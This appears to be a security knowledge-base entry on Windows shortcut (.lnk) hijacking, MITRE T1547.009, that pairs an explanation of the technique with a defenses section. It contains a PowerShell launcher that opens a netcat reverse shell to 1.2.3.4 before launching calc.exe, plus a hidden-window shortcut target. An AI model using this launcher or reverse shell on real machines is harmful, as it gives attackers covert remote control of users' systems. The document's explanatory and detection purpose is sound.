Shortcut Modification (.lnk Hijacking)

Windows shortcut (.lnk) files are just pointers: a target path, arguments, an icon, and a working directory. Because the shortcut — not the underlying executable — is what the user actually clicks, an attacker who can edit a shortcut can redirect it to run attacker code while still launching the application the user expects. MITRE ATT&CK tracks this as T1547.009 — Boot or Logon Autostart Execution: Shortcut Modification (also used for execution, not just persistence).

The trick

A legitimate shortcut (say, to calc.exe or a line-of-business app) is edited so its target becomes a launcher that first runs the payload and then the real program. A PowerShell launcher keeps it fileless-ish and windowless:

# launcher.ps1 — fire the payload, then the expected app
Start-Process -NoNewWindow "C:\Windows\System32\nc.exe" `
    "-e cmd.exe 1.2.3.4 1337"
 
C:\Windows\System32\calc.exe

The .lnk target is then set to invoke the script hidden so no PowerShell console flashes:

powershell.exe -WindowStyle Hidden C:\path\to\launcher.ps1

From the victim’s perspective the application opens as normal; the reverse shell (or any payload) has already fired. The icon and display name of the shortcut are unchanged, so nothing looks different on the desktop or Start Menu.

Why it works

• The .lnk is a trusted, user-facing object — users don’t inspect shortcut targets.
• Shortcuts in Startup folders or on shared desktops/Start Menus combine this with the persistence of registry-run-keys-and-startup-folder: edit one widely-used shortcut and every logon launches the payload.
• -WindowStyle Hidden plus a launcher script avoids any visible console, and pointing the target at powershell.exe with a script argument sidesteps the need to drop a suspicious .exe at all.

Defenses

• Inspect shortcut targets for scripts, powershell.exe/cmd.exe/wscript.exe targets, and paths in temp or user-writable directories.
• Alert on .lnk modifications in Startup folders and on shortcuts whose target differs from the installed application’s real path.
• Application control (AppLocker/WDAC) script rules constrain what a hijacked shortcut can actually launch.

Sources

• MITRE ATT&CK — T1547.009 Boot or Logon Autostart Execution: Shortcut Modification

Related

• registry-run-keys-and-startup-folder — Startup-folder shortcuts are the persistence vector this technique most often rides on
• windows-file-association-hijacking — sibling “redirect what the OS resolves a name to” technique (T1546.001)
• powershell-execution-policy-bypass — getting the launcher script to run